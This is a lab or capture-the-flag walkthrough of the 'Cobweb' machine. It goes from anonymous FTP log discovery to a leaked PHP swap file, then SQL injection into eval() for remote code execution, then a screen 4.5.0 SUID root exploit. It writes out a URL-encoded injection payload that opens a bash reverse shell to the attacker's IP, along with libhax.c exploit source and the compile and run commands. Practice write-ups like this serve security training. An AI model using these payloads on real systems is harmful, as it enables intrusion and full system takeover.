Cobweb

Hard.

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 -Pn 192.168.157.162
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-14 14:41 +08
Nmap scan report for 192.168.157.162
Host is up (0.18s latency).
Not shown: 65483 filtered tcp ports (no-response), 47 filtered tcp ports (host-unreach)
PORT     STATE  SERVICE
21/tcp   open   ftp
22/tcp   open   ssh
80/tcp   open   http
3306/tcp open   mysql
9090/tcp closed zeus-admin

Quite a few ports open.

FTP -> access.log

We can check whether FTP accepts anonymous logins, which it does!

$ ftp 192.168.157.162
Connected to 192.168.157.162.
220 (vsFTPd 3.0.3)
Name (192.168.157.162:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||32481|)
ftp: Can't connect to `192.168.157.162:32481': No route to host
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0              54 Aug 27  2021 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-r--r--    1 501      20            955 Aug 27  2021 access.log
-rw-r--r--    1 501      20            530 Aug 27  2021 auth.log
-rw-r--r--    1 501      20            176 Aug 27  2021 syslog

We can download the log files and view them. access.log reveals a hidden file on one of the web applications:

$ cat access.log                          
<TRUNCATED>
192.168.118.5 - - [27/Aug/2021:08:47:04 -0400] "GET /.index.php.swp HTTP/1.1" 200 5422 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
<TRUNCATED>

The other files weren't so interesting.

Source Code Review -> Eval + SQL Injection

Port 80 reveals a standard login:

We can view the found found earlier to find PHP source code:

## curl http://192.168.157.162/.index.php.swp
<?php
http_response_code(200);

function get_page($conn, $route_string){
    $sql = "SELECT page_data FROM webpages WHERE route_string = \"" . $route_string . "\";";
    //echo "<!-- " . $sql . " -->";
    if(mysqli_multi_query($conn, $sql)){
        $results = mysqli_use_result($conn);
        $first_row = mysqli_fetch_row($results);
        echo mysqli_error($conn);
        return($first_row[0]);
    }else{
        http_response_code(404);
        echo mysqli_error($conn);
        return("");
    }

}

define("included", true);
include "config.php";

$conn = mysqli_connect($db_server, $db_username, $db_password, $db_database);

if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

if(isset($_SERVER['REDIRECT_URL'])){
    $route_string = $_SERVER['REDIRECT_URL'];
    eval(get_page($conn, $route_string));
}else{
    eval(get_page($conn, "/"));
}


mysqli_close($conn);

?>

We can see that there's an SQL Injection within the get_page function. The redirect_url is taken as the $route_string variable. If we attempt basic injection, it redirects us to phpinfo.php:

Within this, we can see that there are no disabled functions, and that the document root is at /var/www/html:

I attempted to write some files, but it fails:

So writing webshells won't work. When I looked at the code again, I saw that it was using eval() after the get_page function returns. This means that if we can somehow make the function return PHP code, it would be executed in eval().

We know that the database is called webpages, and that there are 2 columns in it called page_data and route_string. Using this knowledge, let's try INSERT INTO to get RCE.

I tried creating a new directory with one PHP payload on it:

";INSERT INTO webpages(route_string, page_data) VALUES ('/rev', 'echo shell_exec("bash -i >& /dev/tcp/192.168.45.227/80 0>&1");'); --

## after URL encoding
%22%3BINSERT%20INTO%20webpages%28route_string%2C%20page_data%29%20VALUES%20%28%27%2Frev%27%2C%20%27echo%20shell_exec%28%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.227%2F80%200%3E%261%22%29%3B%27%29%3B%20--

Then visit index.php with that payload and visit /rev.

$ curl http://192.168.157.162/%22%3BINSERT%20INTO%20webpages%28route_string%2C%20page_data%29%20VALUES%20%28%27%2Frev%27%2C%20%27echo%20shell_exec%28%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.227%2F80%200%3E%261%22%29%3B%27%29%3B%20--

$ curl http://192.168.157.162/rev

We would then get a reverse shell:

Privilege Escalation

Upgrade Shell

I used script to upgrade the shell:

script /dev/null -c bash
Ctrl + Z 
stty raw -echo;fg

Screen Capabilities -> Root

We can run bash linpeas.sh to enumerate for us. It didn't reveal anything obvious besides this SUID binary:

-rwsr-xr-x. 1 root root               1.7M Aug 27  2021 /usr/bin/screen-4.5.0

This version of screen is exploitable:

However, when we run the exploit in /dev/shm and /tmp, it doesn't work:

bash: /dev/shm/rootshell: Permission denied
bash-4.4$ ls -la /dev/shm
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/dev/shm/libhax.so' from /etc/ld.so.preload cannot be preloaded (failed to map segment from shared object): ignored.
total 32
drwxrwxrwt  2 root   root      80 Jul 14 03:38 .
drwxr-xr-x 19 root   root    3020 Jul 14 03:33 ..
-rwxrwxrwx  1 apache apache 15528 Jul 14 03:38 libhax.so
-rwxrwxrwx  1 apache apache 16168 Jul 14 03:37 rootshell

We are being denied permission despite the permissions being correct and doing the exploit correctly. I googled the problem and found this:

So as I learned, directories themselves have capabilities, and nosuid can be one of them preventing us from running setuid functions even if we have the right exploit. We can find other writeable directories:

bash-4.4$ find / -type d -writable -exec ls -adl {} \; 2>/dev/null
drwxrwxrwt 2 root root 40 Feb 17 16:21 /dev/mqueue
drwxrwxrwt 2 root root 40 Feb 17 16:21 /dev/shm
dr-x------ 2 apache apache 0 Jul 14 03:48 /proc/2219/task/2219/fd
dr-x------ 2 apache apache 0 Jul 14 03:48 /proc/2219/fd
dr-x------ 2 apache apache 0 Jul 14 03:48 /proc/2219/map_files
drwxrwx---. 2 root apache 6 May  6  2020 /var/lib/php/opcache
drwxrwx---. 2 root apache 6 May  6  2020 /var/lib/php/session
drwxrwx---. 2 root apache 6 May  6  2020 /var/lib/php/wsdlcache
drwx------. 2 apache apache 6 May 20  2021 /var/lib/dav
drwx------. 2 apache apache 6 May 20  2021 /var/lib/httpd
drwxrwx---. 2 apache root 23 Jan 29 02:41 /var/log/php-fpm
drwx------. 3 apache apache 19 Aug 27  2021 /var/cache/httpd
drwx------. 2 apache apache 6 May 20  2021 /var/cache/httpd/proxy
drwxrwxrwt 2 root root 6 Feb 17 16:22 /var/tmp
drwxrwxrwt 2 root root 40 Feb 17 16:22 /tmp

I used /var/lib/php/session, and it worked properly. Replace the directories within libhax.c:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/var/lib/php/session/rootshell", 0, 0);
    chmod("/var/lib/php/session/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

Then, compile both exploits and transfer them to the machine:

gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c

Go to the /etc directory and run these:

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne  "\x0a/var/lib/php/session/libhax.so"
/var/lib/php/session/rootshell

Rooted!

Last updated